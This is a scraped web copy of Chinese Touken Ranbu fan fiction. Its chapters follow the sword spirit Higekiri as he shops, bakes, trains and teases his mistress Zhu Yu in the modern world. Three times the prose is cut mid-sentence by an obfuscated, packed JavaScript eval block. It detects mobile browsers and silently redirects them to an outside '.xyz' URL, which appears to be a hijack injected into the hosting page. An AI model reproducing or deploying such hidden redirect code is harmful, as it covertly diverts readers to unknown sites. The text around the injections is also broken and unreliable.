祝虞抓着他的手腕,自己手动翻了个面,然后用自己的手背蹭了一下他的手背。 冰凉的,湿润的,温热的。向上腾起暖融融的柑橘清香。 髭切眨了一下眼睛,看见被祝虞蹭过的地方留下一小片乳白色膏体。 没等他发问,他的家主便拿起手机翻译道:“这是防晒霜,不小心挤多了,你自己涂一下吧。” 挤都挤出来了,又没法重新吸回去,那就只好给其他人用上。 至于这防晒霜对付丧神来说有没有作用…… 据祝虞观察,应该是没什么用的。 刀剑付丧神好像不怎么受外界影响。简单来说就是不会感到饥饿、对温度的感知很迟钝、除非灵力不够否则很难感到疲惫。 依靠灵力而维持人形状态的付丧神,就算是真的被晒黑了,只要手入一下应该就能恢复原样吧? 还没帮任何刀剑手入过的祝虞思索。 - 这附近都是居民区,距离超市自然也很近,祝虞骑着电动车载着髭切不到十分钟就到了。 停好车走进超市,冷气扑面而来。 今天是工作日,下午更是没什么人,只有一些老年人或者像她这样不需要工作的人在慢悠悠地闲逛。 祝虞让髭切推了一个购物车,自己打开手机开始对照着食谱搜寻食材。 “纯牛奶、低筋面粉……”她低头看手机,依次从货架上挑出需要的商品放进购物车。 髭切推着车,一半的注意力放在她的身上,另一半注意力放在货架上琳琅满目的商品上。 于是祝虞找着找着,忽然感觉身边没了一个人。 祝虞:“?” 她急刹车转头,看见髭切在一个货架前停下了。 她走过去,发现这是一排牛奶售货架。 “你要喝这个吗?”祝虞指了一下髭切眼前绿色包装的纯牛奶。这个牌子的纯牛奶祝虞之前在家里买了一箱,差点放过期,后来一人一刀猛猛喝了一个星期才堪堪解决。 髭切看了她一眼,然后拿下来另外一个银色包装的纯牛奶。 “看起来这个更好一点呢。”他说。 祝虞反复看了好几眼两个牌子的纯牛奶,觉得有些莫名其妙。 他又看不懂包装袋上写了什么,怎么看出来两种牌子的纯牛奶哪个好的? 等一下…… 祝虞后知后觉地反应过来:该不会他代入了刀装吧? 绿色刀装最次,银色刀装中等,金色刀装特上。 祝虞默默吐槽:“如果这里有一袋是金色包装的,你是不是就说要买这个?” 她的话音刚落,就见付丧神举着一袋金色包装的纯牛奶展示给她。 “买这个吧!”他高高兴兴说。 祝虞:“……” 她颇为无语把这袋金色包装的纯牛奶扔进购物车。 不过除了这袋牛奶外,祝虞拒绝了髭切关于其他金色商品的优先购买意见——主要是他看中的那些包装都很华丽,非常没有性价比——这让付丧神肉眼可见的有些遗憾。 当然了,祝虞权当没看见。 这种时候,当然是谁有钱谁说的算啦! 买完制作甜点需要的食材,祝虞又买了一些当季水果,才带着髭切去结账。 购物车需要停在指定位置,祝虞让髭切守着买来的东西别动,她自己一个人先去把电动车骑过来,这样他们拎着东西可以少走几步路。 下午三四点钟的太阳晒得人晃眼,像是白热的、带着重量倾泻而下的熔金。 祝虞骑着电车来到超市门口,她站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268197|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来向髭切招了招手,确定他看到自己后才重新坐回车座上整理自己的头盔。 她穿的防晒衣是自带帽子的类型,面前的拉链可以直接拉到眼睛底下遮住大半张脸,只露出一双眼睛。 但电动车头盔戴上会压到防晒衣的帽子,时不时就挡住眼睛。祝虞只好尝试着调整,但不知怎么的,拉链忽然扯到了脸颊边的碎发,她嘶了一声,手忙脚乱地想要把又掉下来的头盔扶起来。 她的手指触碰到头盔的边缘,还未发力,便感觉手指被什么冰凉的东西贴了一下,随后重量倏然减轻,眼前被头盔笼罩的阴影毫无预兆地从眼前滑开上升。 如同幕布被拉开,炫目的、带着热度的夏日光芒毫无保留地涌入她的眼睛。 祝虞本能地眯了眯眼睛,视野有短暂的模糊与眩光。而瞳孔适应了眼前光亮的下一刻,她看到近在咫尺的、髭切微微低垂着的脸庞。 付丧神浅金色的发丝在阳光下几乎融化成流动的光,猫眼盯着她,一只手还随意地托在头盔的下缘,保持着刚刚帮她抬起的动作。 他的身后是色彩饱和度极高的世界——过分蔚蓝的天空、被阳光照得发白的超市墙壁、绿得晃眼的树叶,轻微眩晕过后,好像世界重新涂上了透亮的颜色,嘈杂人声也瞬间涌回耳中。 对上他的视线,祝虞无意识地眨了一下眼睛。 似乎是这个动作给了付丧神什么错觉,他的视线轻微下移,落在她的下半张脸上。 然后那只同样托在她头盔上的手指移开,勾着她的面罩下拉,冰冷的指尖擦过她被面罩闷得发烫的脸颊。 她几乎是本能的轻轻倒吸一口气,于是无所不在的热重新渗透。 祝虞看到付丧神似乎是困惑地歪了下头。 “家主的脸好烫,”他眯了眯眼睛,毫无所觉地展开手指挤进面罩与脸颊的缝隙中,冰凉的手掌贴在她的面颊上,试图给她降温,“诶多……没办法呼吸吗?” 祝虞这才发觉自己在倒吸一口气后竟然不自觉地屏住了呼吸。 从颧骨到下颌线,他的手指微微压到了耳廓的前缘,冰凉的触感几乎包裹住她小半张脸,薄茧贴住滚烫皮肤。 祝虞甚至嗅到了一点方才抹到他手背上防晒霜的柑橘清香。 她极缓慢地动了动手指。 几秒后,她忽然扶着自己的头盔向后仰头,躲开对方冰凉的手掌,用眼神示意他退后。 “不是我的脸烫,”她说,“是今天太热了,你的手太凉。” 髭切的眉梢极细微地挑起,像是恍然大悟:“哦呀,原来是这样吗?” “当然是这样。”她绷着脸飞速整理好头盔和被拽开的面罩,从付丧神的手里拿过袋子塞进车前框,让他别墨迹了赶紧坐好。 髭切戴好头盔坐到她的电动车后座,但还在不依不挠问她:“既然太热,为什么还要蒙住脸呢?” 祝虞:“家主的事少管。” 这招必杀技对付丧神来说还是很有效的,听见身后许久没有动静,祝虞悄悄松了一口气。 没错,就是因为天气太热了。 祝虞给自己洗脑,才不是因为什么别的原因! 18. 反穿第十八天 客厅电视在投屏没看完的刀剑乱舞·活击,空调外机发出轻微轰鸣,冷气顺着风扇呼呼地吹进厨房。 祝虞踮起脚把围裙套到髭切身上,然后拍了拍他的胳膊示意他转身,非常干脆利落地在他的身后打了一个蝴蝶结。 付丧神全程非常配合地任由她动作,说抬手就抬手,说转身就转身,末了才道:“这是战前准备吗?” 祝虞看着他身上可爱风格的围裙,干咳一声低下头,假装认真洗手:“没错,是厨房大作战的刀装时刻。” 髭切露出恍然大悟的表情。 祝虞也给自己套上“刀装”,然后分门别类地把购物袋中的食材拿出来,把趁着出门的时间充满电的平板拿到面前,点开视频播放,开始逐帧学习。 她首先选择的甜点是看起来制作很简单的蛋挞。 让髭切把蛋挞皮提前拿出来解冻,祝虞拿出来干净的碗,比对着视频开始打鸡蛋。 “加鸡蛋、加白糖、加纯牛奶……” 说到最后“纯牛奶”时,祝虞眼睛盯着右手的碗不断搅拌,另只手向旁边摸索,想要凭着记忆把手边的纯牛奶拿过来。 她的手中被主动塞了什么东西,冰凉凉的。 祝虞:“?” 她回头,是笑眯眯的付丧神:“家主要用这个吗?” 祝虞低头看了看被他强行塞到手里的、之前他点名要买的金色包装纯牛奶,嘴角抽了抽。 怎么在这种事情上这么执着啊,这时候就不无所谓了? 她在心中嘀咕,但还是把他递来的纯牛奶撕开包装,按照视频里的比例小心翼翼倒进去。 视频里说最好用打蛋器搅拌会更均匀一些,但是家里没有打蛋器,祝虞只能手动操作。 她操作了一会儿就把这个工作转交给了旁边有些无所事事的付丧神手里,自己去调整烤箱温度准备预热一下。 出租屋里的烤箱是房东送的,祝虞之前没用过几次,上一次用还是一个月前。她努力研究了半天才磕磕绊绊地把烤箱调试好,一回头发现髭切好像还没打完鸡蛋。 打鸡蛋需要这么长时间吗? 祝虞纳闷地走过去,然后发现果然是因为他不太会打鸡蛋——是不太会而不是不会,因为他打鸡蛋的手法是非常诡异的攥着两根筷子直楞楞地搅和。 “不是这样吗?”付丧神问她。 祝虞:“当然不是啊。” 她接过筷子和碗演示给髭切看:“是要稍微倾斜一点筷子,不用动手臂,只动手腕就行——看。” 髭切感叹:“不愧是家主呢。” 祝虞:“……倒也不必这么说。” 好吧,又忘记他不是人类了……她还以为所有人类幼崽只要长大就会这种打鸡蛋的方法。 虽然经历了小小的波折,但总归来说还算是顺利地做完了蛋挞。祝虞看了看剩下的材料,还兴致勃勃地做了一点蝴蝶酥。 “感觉还可以,没有翻车。”祝虞尝了尝后说道。 蝴蝶酥比蛋挞更能放久一点,祝虞把蝴蝶酥拿出来,想要去找包装袋把它们装起来,等明天髭切去上课的时候带过去。 她离开了厨房,回来时路过客厅还被活击最后一集的打戏硬控,穿着围裙拿着包装袋,就这么硬生生在原地站了五分钟才恋恋不舍地挪开脚步。 她转过头,正要向髭切感叹“怎么人家本丸的阿尼甲就能记住弟弟的名字”,一抬眼就发现某刃竟然站在柜台前神色泰然地吃蝴蝶酥。 祝虞大惊:“你怎么偷吃蝴蝶酥!” “嗯?没有偷吃呀。” 髭切的脸上全然不见被抓包的窘迫,还拿出一个蝴蝶酥递到祝虞唇边,极其自然问:“家主要吃吗?” 他的声音软绵绵的,脸上表情也笑盈盈的,姿态极其理所应当,非常有种哄小孩的感觉。 祝虞被他反客为主的架势弄得一愣,大脑还没反应过来,嘴唇就已经遵循本能地张开。 咬下去的瞬间她意识到不对劲。 但这时已经晚了。 髭切似乎从她张嘴的动作中默认了接受,还“贴心”地考虑到她手中拿着包装袋腾不出手,于是自觉承担了给家主喂食的任务。 他甚至还用大拇指卡在下颌,一只手托着她的下巴准备接住掉落的碎渣,然后用拿着蝴蝶酥的右手向前送了送。 祝虞不得不就着他的手咬了下去,最后在他带笑的眼眸注视下,被半引导、半是强迫地一点点喂完一整块蝴蝶酥。 看她吃完,髭切抽了张纸巾擦干净手上的残渣,语气轻快道:“家主刚刚在看弟弟丸吗?” 祝虞本来还想和他理论“光明正大地偷吃也是偷吃!”、“不许随随便便喂我东西!”、“不许仗着脸好看就装无辜”之类的事情,但他话题太过于跳跃,祝虞一时没反应过来,只无意识地从喉咙中溢出一句气音: “啊?” 髭切看了她一眼,然后指了一下电视,拖着长音说:“在那个弟弟丸出现的时候,家主的眼睛‘唰’地就亮了哦。” 他弯起眼眸:“一直在盯着看,嘴角还弯弯的……唔,是非常喜欢的表情吗?” 祝虞很想说你一边偷吃怎么还能这么精准地看到我在干什么。 后来又想其实也不太精准,因为她的眼睛并不是在他们兄弟俩出场时亮起的,而是三日月出场时她就被硬控了…… 就、嗯……虽然她的墙头不是三日月,但是在超燃的打戏中忽然看到那么伟大的一张脸,怎么也要多看两眼再走吧? 祝虞这样想着,只是顶着髭切直勾勾的目光,她还真不敢直接反驳“不,我没在看你和你弟,我在看三日月”这种话……说了这种话今晚她还能安稳入眠吗? 祝虞背在身后的手指紧张绞在一起,各种念头飞速从她的脑中掠过。 最后她闭了闭眼,咬咬牙超级大声说:“怎么了?我就是在看他,因为他长得好看,当然要让家主看个够!” 没有回应,只有身后客厅传来放片尾曲的声音。 祝虞:“?” 怎么没反应? 她悄咪咪地睁开一只眼睛,发现髭切在盯着她,表情很是奇特。 认真来说,像是有所预料的了然和预料之外的意外混杂的表情,还有一种欣慰(?)的诡异情绪。 这是什么意思? 祝虞茫然。 髭切:“没有什么意思喔。” 他像是瞧出来她心中所想一样,仗着身高优势无比自然地拍了怕她的头:“在本丸的弟弟听到这句话,会变成哭哭丸的吧?” 没有什么意思当然是不可能的,这振白切黑的刀一向喜欢说话只留半句,剩下的让人猜。 祝虞一边给蝴蝶酥装袋,一边在心里琢磨他的这句话。 直到她又用剩下的食材做完了抹茶大福草莓大福还有小蛋糕,收拾厨房时祝虞才灵光一闪,想到了某个猜测。 他……该不会因为她最近在看各种刀剑乱舞的衍生作品,所以以为她喜欢上别人家本丸的膝丸,所以试图让她回心转意看看自己家的弟弟丸吧? 祝虞倒吸一口凉气,恍然大悟。 哦,难怪每次她看番剧时他的表情就那么奇怪,还试图让她自己回本丸上号练级——祝虞通通当做了他不想干活的借口——所以他竟然是想让她别老惦记着别人家的刀剑是吗? 想清这点,祝虞的表情也微妙起来。 ‘家主当然可以夸奖其他本丸的弟弟,可以吃代餐,但是最好还是多看看自己本丸的弟弟喔。’——他该不是这么想的吧? 自己孤身一刃在外面,还担心家主会变心,时时刻刻想着家里种地的老实弟弟,持之以恒地替他在家主身边刷存在感…… 天啊……什么叫兄爱如山,这就是啊! 被祝虞用诡异含泪目光盯着的髭切:“?” 她在想什么? 髭切歪了歪头。 髭切觉得有些困惑。家主的想法有时候很好懂,直白地写在脸上。可有时候就连他也捉摸不透,总是在想一些奇奇怪怪的东西。 弟弟也就算了,毕竟是弟弟啦——但是,其他本丸的弟弟应该不可以吧?毕竟这是他的家主欸。 在她身边、家主手中的刀是他才对吧?既然这样,为什么还要去看其他本丸的刀剑呢? 既然家主更偏爱弟弟一些,所以以那孩子作为话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268198|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题开口,她就一定能把注意力从其他本丸的刀剑上收回来、漂亮的眼睛重新看向他——无论是害羞反驳也好、直白承认也罢,总归是对他的反应,对吧? 所以,她不是这样以为的吗? 他观察着少女的表情,最后想,算啦,想不明白呢,应该是有点恼怒吧,因为他又小小地冒犯了她——所以,稍微哄一下吧! 祝虞还沉浸在自己的世界中。 当然,她虽然还沉浸在自己的世界,手上的动作也没停。 她把明天要让髭切带去给张教练的甜点全部装好袋子,想要塞进冰箱,但是这时又遇到了难题。 冰箱当然也是和烤箱一样,都是租房子时自带的,型号很老旧,年龄估计得有祝虞的一大半,容量也不算很大。 之前只有她一个人住,勉勉强强的也够用。但是这几天祝虞越发感觉到冰箱太小的弊端,好像随便放点什么东西就爆满了。 但没办法,再住不到半年她就大学毕业了,也没必要再买个新冰箱,只能将就着用。 而现在冰箱就是爆满的状态,甜点什么的根本塞不进去一点。 她只好暂时停止思考髭切和膝丸的事情,开始艰难地清理冰箱。 她把仅剩的两根冰棍拿出来,一根塞进髭切手里,一根撕掉包装叼在嘴里,又把冰冻的虾尾猪肉什么的拿出来解冻当做晚饭,这才腾出来冷冻层放新的东西。 虽然一天之内吃两根冰棍好像不太好……算了反正又不是没吃过,大不了就是晚上拉肚子,又不会死。 祝虞心安理得地咬着冰棍爽爽吃完,然后把冷藏层也收拾出来,这才把所有甜点塞进去。 她站在厨房洗手池前洗手,在哗哗的水声中听到髭切在身后远远的叫她。 “家主——” 祝虞:“怎么了?” 她没回头,随便挤了点洗洁精充当洗手液。 “家主——” 声音由远及近,像是从客厅走进了厨房,但还在持之以恒地叫她。 “我听到啦,你要干什么?” 祝虞依旧没有回头,打开水龙头冲掉手上泡沫。 “家主。” 这一次的声音就在身后,她感觉有人在身后注视着她。 祝虞抽了张纸巾,一边擦手一边转身,无奈道:“听到了听到了,你要——”干什么。 后半截话祝虞还没说出来,游魂一样悄无声息飘到她身后的髭切对她眨了一下眼睛,眼眸弯出极其纯良的弧度,忽然吐了吐舌头。 髭切:XD 祝虞:“……” 她呆了一下。 这倒不是说她在震惊这振源氏重宝竟然会吐舌头恶作剧吓人,祝虞早就看透了他白切黑恶趣味的本质,膝丸不在,祝虞就是他无聊时逗人的第一选择。 但是…… “你的舌头怎么变绿了?!”她震惊道。 眼前付丧神的脸还是那张脸,唯独吐出来的舌头是非常诡异的绿色,这幅匪夷所思的画面直接把祝虞的cpu都干烧了。 髭切收回舌头,对她展示了一下自己手中吃完的冰棍:“不知道,吃完就变成薄绿丸了耶。” 祝虞这才发觉自己刚刚随手递给他的冰棍是她小时候大名鼎鼎的绿舌头。 她忍不住笑,笑到一半又不小心被自己的口水呛了一下,咳得撕心裂肺惊天动地,最后不知道是笑得还是咳得眼睛都泛起泪花,捂着笑得肚子疼的肚子蹲在地上。 “哦呀,吓到家主了吗?”他笑眯眯说。 髭切把她的杯子接满水递给她,学着自己之前看过的动作笨拙地拍着她的后背给她顺气,看起来很贴心,但让祝虞这么狼狈的罪魁祸首本来就是这振源氏重宝来着。 她伸出颤抖的手接过杯子,边喝边笑:“这是鹤丸的台词吧?不要学他说话。” 髭切:“试一试而已啦,未尝不可吧?” 祝虞:“也不要学和泉守说话!” 一分钟后,她又强调:“还有,薄绿是膝丸的名字。” 髭切笑眯眯看着她:“弟弟说也可以是髭切的名字。” 祝虞:“……哪来的心灵感应,我没同意。” 19. 反穿第十九天 第二天,髭切照常去武馆上课。 除了前两次去武馆需要祝虞亲自带着他,之后的上课基本都是髭切自己去的。祝虞特意教会他用手机拍照,让他每次到达武馆后记得给她拍照发过来确认平安到达。 但除了第一次自己去武馆时老老实实地拍了张武馆门口照片发给她外,此后上课他的打卡照片都变得奇奇怪怪起来。 比如上上次是一张流浪猫叼着老鼠昂首挺胸过马路的照片。 配字:【小猫大成功!】 上一次是洒水车慢慢驶过马路,水雾在晴朗半空中折射出漂亮的彩虹。但彩虹在这张图片中只占一角,更多的画面是路旁湿淋淋的树。 配字:【现世的树也要洗澡吗?】 祝虞一开始还试图纠正,后来就摆烂放弃了。 算了,反正也是上学路上的风景,证明他没瞎跑没被抓进局子,孩子愿意拍什么就拍什么吧。 趁着髭切去武馆的时间,祝虞站在卫生间慢吞吞地洗漱,梳头发的时候她拨了拨自己有点扎眼睛的刘海,心想找个时间去理个头发。 而后她去了一趟厨房,把髭切早上出门带回来的早饭从保温锅里拿出来,三下五除二啃完肉夹馍喝完小米粥,收拾好厨余垃圾后重新回到卧室。 她习惯上午的时候看网课,下午的时候做题。 祝虞用一支笔撑在下巴和桌子的中间,眼睛盯着电视屏幕,下巴无意识地在笔盖上压了压。 轻微的压迫痛感稍微吸引了她的注意力,祝虞眨了一下眼睛,想起来髭切离开已经十几分钟了。 她算了算时间,觉得也到了他定时定点发这种仿佛小学生春游打卡般的路途汇报时间。 果然没几秒,她的手机就响了一声,微信图标在锁屏上亮起。 她放下笔,骑着转椅滑到旁边充电插座前划开手机,果然是一张新鲜出炉的“今日份到校打卡证明”。 小图看起来很模糊,大图……好吧,不能要求一个千年老刀的拍照技术有多高,祝虞只能艰难辨认他今天又打卡了什么东西。 首先映入眼帘的是一只极其眼熟的石狮子。它昂首挺胸、怒目圆睁,看起来很是凶猛。 但和它贴近的浅金发色付丧神却是笑容灿烂、眉眼弯弯,看上去人畜无害。 他甚至还用没拿手机的那只手虚握成爪,做出了一个没什么杀伤力的“嗷呜”姿势。 最后配字:【狮子の子——】 图片中石狮子和髭切本刃的占比差距极大,他显然是把手机举高,来了张仰拍,顺便把自己也塞了点进画面,以证明“本人抵达此地并亲手所拍”。 祝虞熟练地把他这张图片保存相册,然后提出拍照建议:【重点是你,不是石狮子,下次把你自己拍清晰一点。】 祝虞之前还以为像是髭切这种千年老刀对于电子产品的接受程度不会很高,但没想到髭切意外地很擅长使用手机。 在发现可以通过手机让家主看到听到他这边的画面后,他就变得一发不可收拾起来。 比如现在。 髭切发来语音,声音中满是见到新鲜事物的兴致勃勃: “只要拍到了就可以吧?我不重要啦——总之,今日的‘出阵’已经抵达目的地,路上又遇到了那只小猫喔,它的肚子鼓鼓的,好像已经吃饱饭了。” “还有哦家主,之前说的光秃秃的草坪上今天种了好多花,白色的花很漂亮呢。” “今天买冰糖葫芦的小孩子有点少,没有那天那么多。” …… 他一口气发了好几条语音,直到祝虞这边的屏幕上,他最先发的图片完全被顶走才停止。 但祝虞知道这不是他没话说了,而是他在说话间已经走进了武馆,现在大约是去换训练服了。 这时候就轮到了祝虞的场合。 她娴熟地挨个把髭切的语音条翻译过来,然后一条条地回复:“我要看的是‘你’,谁说只要拍到了就行?不许敷衍!” “小猫肚子鼓,可能也是怀孕了?” “白色的花?你在说月季吗?就让人家好好在那里生长吧别带回来了,现在家里没有花瓶来装花了。” “说明他卖的糖葫芦不好吃,酸酸的。” …… 发完这些话她就关上了手机继续学习。 又过了将近一个小时,祝虞从客厅接完水回来,站在书桌前一边喝水一边重新打开手机。 髭切果然给她发了消息,依旧是一张照片加一条语音。 这次倒是规规矩矩地拍了武馆内部的场景。木地板,悬挂的沙包,还有远处肩上搭着毛巾、正对着髭切拿过去的甜点拍照憨笑的张教练。 视角稍微有点歪,像是随手快速拍的。 语音点开,背景音略显嘈杂,他的声音压低了些,带着笑意:“把家主要求的东西送过去啦。听不懂在说什么,但是教练好激动,今天切磋时格外有干劲呢。” 祝虞问他:“那你今天有没有干劲呢?” 她没想着对方能秒回,于是继续去干自己的事情。 直到看完一整个视频、停下来休息摸鱼时她才重新点开髭切的聊天界面,发现他新发来了一张图片。 图片是新拍的,大概是已经下课了,背景是武馆更衣室的铁制衣柜门板。 这一次他终于听从了她之前的建议,自己的脸占据图片中心位置,拍得非常清晰。 付丧神浅金色的发丝被汗水浸湿几缕,乖顺地贴在额角和脸颊。鼻尖和额头都沁着细密汗珠,但那双茶金色的眼睛却亮得惊人,笑起来时尖锐虎牙略微显露一点,像是阳光下蓄势待发的凶猛野兽。 明明表情看上去很有种非人的侵略性,但他的姿势就不太像了。 他对着镜头微微歪着头,这次是笑眯眯地比了一个“耶”的手势,不知道到底是从哪学来的拍照姿势,反正祝虞没教过他。 图片后面跟着一条语音,祝虞点开翻译的同时播放,听到髭切语调轻快上扬的声音。 “当然有——”他笑嘻嘻的,话语间带着理所应当,“不会输给任何人哦。” 其实他不发语音,只从图片上祝虞也能看出来他今天很兴奋。 能让体温平稳保持冰凉、身体素质惊人的付丧神流那么多汗,怎么想都得是对于祝虞而言“致死量”的运动量才能实现吧? 她先给髭切发了一个竖大拇指的表情,然后忍不住想张教练上完这节课后还能不能接着上下一节课…… 因为实在好奇,所以中午髭切回来后,她还真的问了一嘴张教练的情况。 “不知道呢,”髭切捧着杯子咕噜咕噜喝水,放下水杯后对她说,“不过,我们今天是一起走出门的。” 祝虞知道张教练家在附近,但是工作日他一般都是在武馆吃中午饭然后午休,基本上不会回家。 如果髭切出门时碰到了张教练,那说明……可能他也准备翘掉下午的班回家休息吧…… 祝虞在心中为陪着不知疲惫的付丧神对练的张教练默哀片刻。 吃饭的中途刷朋友圈,祝虞看到自己之前加的助教在宣传新开的几项武术课程。 剑术、散打、跆拳道…… 看着看着,她忽然突发奇想问道:“所以你记忆中的武术活动都是什么?” “我吗?”髭切做出回忆的样子,“好像记不太清楚了呢。” 好吧,果然是这样。 祝虞本来也没想着他能回答出来什么,正要转移话题,就见付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268199|182180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧神眼睛亮了亮。 “想起来了!”他说,“弓马、相扑,还有剑道。天皇殿下也会定期举办一些表演和训练呢。” 祝虞听出来这些活动大概都是他还跟在源氏历代家主时的经历。 她对日本的了解不算多,但之前的临时抱佛脚也知道了一些关于源氏的事情。 比如髭切和膝丸的第一任主人是源满仲,是平安时期的知名武将;比如他们的第二代主人是源满仲的儿子源赖光,也是以武勇著称的将军……比如源氏一向以弓马之道传家。 他说的这些活动祝虞比较熟悉的只有相扑,但也只是因为互联网的发达,让她在手机上偶尔刷到过一些比赛。 剑道是之前给他报剑术课的时候稍微了解过一些,但她本人根本就没握过刀剑。 至于弓马—— “我小时候和爸妈出去玩时倒是拍过骑马的照片。只是当时哭得惊天动地,差点把马都吓到逃跑,”她半开玩笑说着,最后皱了皱鼻子,“这算是马术启蒙吗?” 髭切用一种云淡风轻的语气说:“哭泣也是开始呢,之前的每一代源氏家主都是这样一点点积累起来的哦。” 祝虞吐槽:“一点点积累、最后成为骁勇善战的大将军上战场杀敌是吧?” 那这个积累对她来说可真是天堑一样了。 髭切的出现向她证明刀剑乱舞并不仅仅只是一个游戏,在另一个时空的确是存在着时之政府率领众多审神者对抗时间溯行军,每一个审神者都统领着一整个本丸的刀剑付丧神。 但祝虞还是很有自知之明的。 时之政府的工作人员说她很有灵力天赋,可这又能怎样呢? 她是在和平环境中长大的,过往二十多年中没人教过她怎么使用灵力、她也做不到像是小说中写的那样握住刀就可以上阵杀敌,更无法游刃有余地混迹名利场,游走于各方大人物之间。 她习惯不了鲜血,习惯不了死亡,更习惯不了战争。 即便是之后真的接手本丸,她能做的估计也只是为他们提供灵力、让他们上阵杀敌吧?而且维护历史什么的…… 对于她这种以唯物主义活了二十多年的普通人而言,也就只是一项工作而非奉献一切的责任吧。 祝虞短暂地思考了片刻,但毕竟是八字还没一撇的事情,她只是想了想,很快就将其抛之脑后。 但髭切反而伸手拍了拍她的脑袋。 “上阵杀敌是刀剑理应为家主提供的护佑,”他说,“您的天赋在另一方面,循着这条路努力,或许能成为像源氏一样名留青史的大人物哦?” 祝虞把他拍着自己脑袋的手抓下来晃了晃,故意问他:“对我这么有自信吗?万一不可以会怎样?” 髭切任由他晃着,只是在最后稍微用了一点力气按住了祝虞的手腕,像是好奇一样捏了捏人类女性相较于自己而言格外纤柔的手指。 “家主很努力啦,可以和源氏的历代家主一样……也是我觉得您可以做到哦。”他笑眯眯说,“毕竟,您已经有我和弟弟的辅佐啦。” 祝虞被他捏得有点头皮发麻,她屈起手指挠他的手心,又反过来被抓着手腕。 两人就这么幼稚地玩了半天的手指,显然付丧神没怎么认真,于是最后是祝虞得意洋洋地把他的两个手腕抓住了不让他乱动。 两人对视一眼,确切来说是祝虞在他的眼中看到了开心得眉角都要飞起来的自己。 她停顿了一会儿,才后知后觉意识到他刚刚话语间的漏洞:“‘有你和弟弟的辅佐’……本丸的其他刀剑是不存在了吗?不要随便把人家开除刀帐啊。” 髭切:“诶呀,不是什么大问题噢。” 祝虞:“这种时候不要无所谓呀阿尼甲!” 20. 反穿第二十天 这天晚上睡觉前,祝虞总觉得自己隐隐约约有些腰酸背痛。 这种感觉有种微妙的熟悉,像是生理期的前兆。 但祝虞算了算日子,觉得大概还得有七八天才会到。恰好今天中午吃完饭她收拾了一遍屋子,所以腰酸背痛应该是这样才导致的吧? 怀揣着这一丝侥幸,祝虞没将其当回事,当天晚上非常放心大胆地入睡了。 甚至临睡前她迷迷糊糊地觉得很热,又摸起遥控器把空调调低几度。 于是第二天就发生了悲剧。 早上八点半,髭切照常来敲家主的门,却没听见任何动静。 髭切:“?” 他又敲了敲门,问道:“家主在里面吗?” 通常而言,髭切早上七点起床,七点半出门遛弯,八点十分准时到家,敲门叫家主起来吃早饭。 祝虞的觉很浅,很容易就会惊醒,一般他敲一次门就能得到她的回应。 虽然有可能因为昨晚的熬夜而不小心又睡过去,但髭切清楚地知道祝虞昨天没有熬夜,甚至晚上十一点的时候就打着哈欠睡觉去了。 按照常理,只要他再去敲第二次门,也就是八点半左右时,就一定能见到一个睡眼惺忪的家主揉着眼睛打开卧室门。 但今天显然发生了什么突发情况,所以髭切在八点半还是没见到祝虞从卧室出来。 隔着薄薄的门板,髭切最后敲了一次门:“家主,我进来了哦——” 他的手放在门把上,手腕用力,正要将门打开时,忽然听到从里面传来的虚弱声音:“等一下。” 髭切停住动作。 他没有松开门把手,而是松松搭在上面,指尖抵着略显冰凉的金属,一种随时要破门而入的状态。 祝虞仰面躺在床上,在小腹一阵一阵的疼痛中把手背搭在眼睛上,有气无力说:“你帮我把客厅沙发旁边柜子上的医药箱拿过来,再倒杯热水。” 怎么会这样……为什么会这么疼…… 难道就因为我前天吃了两根冰棍、昨天喝了点冰凉的小啤酒配着海鲜、开着23度的空调睡觉吗? 躺在床上的祝虞内心泪流满面,开始每月一次的定期项目:忏悔自己为什么嘴馋地在生理期前几天不节制地吃凉的。 区区两根冰棍、区区海鲜虾尾——可恶! 她忏悔了许久,过了许久才意识到髭切怎么还没回来,他该不会是找不到医药箱在哪里吧? 祝虞内心天人交战,最后还是寻找布洛芬的念头占据上风。 她认命地把手从眼睛上挪开,动了动身体,准备拖着虚弱病体亲自去找。 黑暗当中,一只冰凉的手忽然按住了她的胳膊。 祝虞:“?!” 她吓了一跳,本能地想要反手甩过去一巴掌,却被对方非常迅速地抓住手腕凭空拦住。 冰凉的手指按在她的手腕内侧,黑暗当中她看到了一双茶金色的眼眸,微微亮着光,像是夜行的猫科动物一般蹲在她的床头。 “家主不认识我了吗?”某个神出鬼没的付丧神歪了歪头,表情纯良无辜地说。 祝虞稍微用了些力气从他的手中挣扎出来,一巴掌拍在他的额头上,声音有气无力:“你怎么走路都没声的……好好说请求再进家主的房间啊……” 